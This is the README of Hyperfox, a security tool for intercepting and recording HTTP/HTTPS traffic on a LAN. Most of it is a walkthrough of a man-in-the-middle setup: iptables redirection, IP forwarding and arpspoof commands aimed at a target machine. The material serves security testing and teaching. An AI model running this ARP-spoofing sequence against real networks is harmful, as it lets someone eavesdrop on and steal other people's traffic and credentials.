Hyperfox
Hyperfox is a security tool for proxying and recording HTTP and HTTPs
communications on a LAN.
Hyperfox is capable of forging SSL certificates on the fly using a root CA
certificate and its corresponding key (both provided by the user). If the
target machine recognizes the root CA as trusted, then HTTPs traffic can be
succesfully intercepted and recorded.
This is the development repository, check out the https://hyperfox.org
site for usage information.
Getting Hyperfox
See the download page for binary builds and
compilation instructions.
A common example: hyperfox with arpspoof on Linux
The following example assumes that hyperfox is installed on a Linux box (host)
on which you have root access or sudo privileges and that the target machine is
connected on the same LAN as the host.
We are going to use the arpspoof
tool that is part of the dsniff suite
to alter the ARP table of the target machine in order to make it redirect its
traffic to Hyperfox instead of to the legitimate LAN gateway. This is an
ancient technique known as ARP spoofing.
First, identify both the local IP of the legitimate gateway and its matching
network interface.
> sudo route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 10.0.0.1 0.0.0.0 UG 1024 0 0 wlan0
...
The interface in our example is called wlan0
and the interface's gateway is
10.0.0.1
.
> export HYPERFOX_GW=10.0.0.1
> export HYPERFOX_IFACE=wlan0
Then identify the IP address of the target, let's suppose it is 10.0.0.143
.
> export HYPERFOX_TARGET=10.0.0.143
Enable IP forwarding on the host for it to act (temporarily) as a common
router.
> sudo sysctl -w net.ipv4.ip_forward=1
Issue an iptables
rule to instruct the host to redirect all traffic that goes
to port 80 (commonly HTTP) to a local port where Hyperfox is listening to
(1080).
> sudo iptables -A PREROUTING -t nat -i $HYPERFOX_IFACE -p tcp --destination-port 80 -j REDIRECT --to-port 1080
We're almost ready, prepare hyperfox to receive plain HTTP traffic:
> hyperfox
...
2014/12/31 07:53:29 Listening for incoming HTTP client requests on 0.0.0.0:1080.
Finally, run arpspoof
to alter the target's ARP table so it starts sending
its network traffic to the host box.
> sudo arpspoof -i $HYPERFOX_IFACE -t $HYPERFOX_TARGET $HYPERFOX_GW
